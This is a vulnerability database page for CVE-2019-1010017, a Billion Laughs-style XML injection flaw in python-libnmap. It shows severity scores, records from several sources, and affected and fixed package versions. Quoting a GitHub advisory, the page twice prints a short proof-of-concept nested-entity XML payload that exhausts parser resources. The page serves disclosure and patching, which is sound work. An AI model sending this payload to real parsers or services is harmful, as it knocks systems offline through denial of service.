Every CVE Search/ Get API key

CVE-2019-1010017

XML Injection in python-libnmap

7.5 HighFix available

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.52%Up 1.0 points since Apr 14, 2021
90%50%10%1%

What each source reports

NVD Score used 7.5

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
CVE-2019-1010017
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-91
Updated
2026-11-02
CVE List No score

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
CVE-2019-1010017
Updated
2026-11-02
EUVDEUVD-2019-0117 No score

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
EUVD-2019-0117
Updated
2026-11-03
GitHub AdvisoriesGHSA-9ccv-p7fg-m73x 7.5

XML Injection in python-libnmap

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)
Record
GHSA-9ccv-p7fg-m73x
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-91
Updated
2026-11-02
OSV 7.5

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
CVE-2019-1010017
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVDEBIAN-CVE-2019-1010017 7.5

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
DEBIAN-CVE-2019-1010017
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-9ccv-p7fg-m73x 7.5

XML Injection in python-libnmap

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)
Record
GHSA-9ccv-p7fg-m73x
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-91
Updated
2026-11-02
OSVUBUNTU-CVE-2019-1010017 7.5

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
UBUNTU-CVE-2019-1010017
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVPYSEC-2019-218 No score

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Record
PYSEC-2019-218
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
python-libnmap
PyPI
before 0.7.2
0.7.2
python-libnmap
Debian:12
before 0.7.2-1
0.7.2-1
python-libnmap
Debian:13
before 0.7.2-1
0.7.2-1
python-libnmap
Debian:14
before 0.7.2-1
0.7.2-1
python-libnmap
PyPI
before 0.7.2, plus listed versions
0.2.30.2.40.2.70.2.80.4.0
Show 8 moreShow less
0.4.60.5.00.5.10.60.6.10.6.20.6.30.7.0
0.7.2
python-libnmap
PyPI
before 0.6.3, plus listed versions
0.2.30.2.40.2.70.2.80.4.0
Show 6 moreShow less
0.4.60.5.00.5.10.60.6.10.6.2
0.6.3
python-libnmap
Ubuntu:20.04:LTS
All versions, plus listed versions
0.7.0-2
None known
python-libnmap
Ubuntu:22.04:LTS
All versions, plus listed versions
0.7.2-1
None known
python-libnmap
Ubuntu:24.04:LTS
All versions, plus listed versions
0.7.2-1
None known
python-libnmap
Ubuntu:25.10
All versions, plus listed versions
0.7.3-1
None known
python-libnmap
Ubuntu:26.10
All versions, plus listed versions
0.7.3-1
None known
python-libnmap
Ubuntu:26.04:LTS
All versions, plus listed versions
0.7.3-1
None known

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2019-1010017 is a high vulnerability (CVSS 7.5) in Libnmap, published July 15, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.52%, the 74th percentile. Fixed in python-libnmap 0.7.2.

References

MoveEnter Open